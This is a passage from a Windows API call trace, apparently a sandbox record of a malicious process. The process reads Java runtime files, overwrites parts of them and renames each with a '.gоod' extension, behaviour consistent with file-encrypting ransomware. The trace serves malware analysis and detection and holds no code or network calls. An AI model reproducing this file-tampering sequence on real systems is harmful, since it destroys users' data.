ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b)) returned 1 [0094.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0094.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x0) returned 0x2d [0094.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.560] GetFileType (hFile=0x768) returned 0x1 [0094.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.560] GetFileType (hFile=0x768) returned 0x1 [0094.560] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0094.560] ReadFile (in: hFile=0x768, lpBuffer=0x3748b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3748b88*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0094.562] CloseHandle (hObject=0x768) returned 1 [0094.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x0) returned 0x2d [0094.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.562] GetFileType (hFile=0x768) returned 0x1 [0094.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.563] GetFileType (hFile=0x768) returned 0x1 [0094.563] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x340865b [0094.563] WriteFile (in: hFile=0x768, lpBuffer=0x3749de0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3749de0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0094.564] CloseHandle (hObject=0x768) returned 1 [0094.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x0) returned 0x2d [0094.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.564] GetFileType (hFile=0x768) returned 0x1 [0094.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.564] GetFileType (hFile=0x768) returned 0x1 [0094.564] ReadFile (in: hFile=0x768, lpBuffer=0x374c060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x374c060*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0094.594] CloseHandle (hObject=0x768) returned 1 [0094.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x0) returned 0x2d [0094.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.594] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.594] GetFileType (hFile=0x768) returned 0x1 [0094.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.594] GetFileType (hFile=0x768) returned 0x1 [0094.594] WriteFile (in: hFile=0x768, lpBuffer=0x374adf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x374adf8*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0094.594] CloseHandle (hObject=0x768) returned 1 [0094.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x0) returned 0x2d [0094.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.gоod", lpFilePart=0x0) returned 0x32 [0094.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0094.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x34980a52, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340866b)) returned 1 [0094.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0094.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.gоod")) returned 1 [0094.595] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x0) returned 0x2f [0094.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0094.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), fInfoLevelId=0x0, lpFileInformation=0x37c94a0 | out: lpFileInformation=0x37c94a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c)) returned 1 [0094.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0094.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x0) returned 0x2f [0094.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0094.699] GetFileType (hFile=0x778) returned 0x1 [0094.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.699] GetFileType (hFile=0x778) returned 0x1 [0094.699] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0094.699] ReadFile (in: hFile=0x778, lpBuffer=0x34847d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x34847d8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0094.700] CloseHandle (hObject=0x778) returned 1 [0094.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x0) returned 0x2f [0094.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.700] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0094.700] GetFileType (hFile=0x778) returned 0x1 [0094.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.700] GetFileType (hFile=0x778) returned 0x1 [0094.700] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x19c1c [0094.701] WriteFile (in: hFile=0x778, lpBuffer=0x3485a38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3485a38*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0094.701] CloseHandle (hObject=0x778) returned 1 [0094.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x0) returned 0x2f [0094.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.701] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0094.702] GetFileType (hFile=0x778) returned 0x1 [0094.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.702] GetFileType (hFile=0x778) returned 0x1 [0094.702] ReadFile (in: hFile=0x778, lpBuffer=0x3487cc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3487cc0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0095.002] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0095.378] CloseHandle (hObject=0x778) returned 1 [0095.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x0) returned 0x2f [0095.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0095.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0095.378] GetFileType (hFile=0x778) returned 0x1 [0095.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0095.378] GetFileType (hFile=0x778) returned 0x1 [0095.378] WriteFile (in: hFile=0x778, lpBuffer=0x3470658*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3470658*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0095.379] CloseHandle (hObject=0x778) returned 1 [0095.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x0) returned 0x2f [0095.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.gоod", lpFilePart=0x0) returned 0x34 [0095.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0095.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x350f3ff1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19c2c)) returned 1 [0095.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0095.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.gоod")) returned 1 [0095.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x0) returned 0x31 [0095.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0095.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), fInfoLevelId=0x0, lpFileInformation=0x3535ac8 | out: lpFileInformation=0x3535ac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0)) returned 1 [0095.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0095.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x0) returned 0x31 [0095.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0095.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0095.380] GetFileType (hFile=0x778) returned 0x1 [0095.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0095.381] GetFileType (hFile=0x778) returned 0x1 [0095.381] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0095.381] ReadFile (in: hFile=0x778, lpBuffer=0x3535e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3535e80*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0095.805] CloseHandle (hObject=0x778) returned 1 [0095.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x0) returned 0x31 [0095.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0095.806] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0095.834] GetFileType (hFile=0x778) returned 0x1 [0095.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0095.834] GetFileType (hFile=0x778) returned 0x1 [0095.834] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x20d0 [0095.834] WriteFile (in: hFile=0x778, lpBuffer=0x384b670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x384b670*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0095.835] CloseHandle (hObject=0x778) returned 1 [0095.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x0) returned 0x31 [0095.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0095.835] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0095.835] GetFileType (hFile=0x778) returned 0x1 [0095.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0095.835] GetFileType (hFile=0x778) returned 0x1 [0095.835] ReadFile (in: hFile=0x778, lpBuffer=0x384d900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x384d900*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0095.877] CloseHandle (hObject=0x778) returned 1 [0095.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x0) returned 0x31 [0095.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0095.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0095.878] GetFileType (hFile=0x778) returned 0x1 [0095.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0095.878] GetFileType (hFile=0x778) returned 0x1 [0095.878] WriteFile (in: hFile=0x778, lpBuffer=0x384c688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x384c688*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0095.878] CloseHandle (hObject=0x778) returned 1 [0095.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x0) returned 0x31 [0095.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.gоod", lpFilePart=0x0) returned 0x36 [0095.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0095.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x355b8a0e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20e0)) returned 1 [0095.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0095.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.gоod")) returned 1 [0096.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0096.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64", lpFilePart=0x0) returned 0x2c [0096.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec836b0 [0096.089] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.090] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0096.090] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.090] FindClose (in: hFindFile=0x1ec836b0 | out: hFindFile=0x1ec836b0) returned 1 [0096.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0096.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0096.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0096.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program 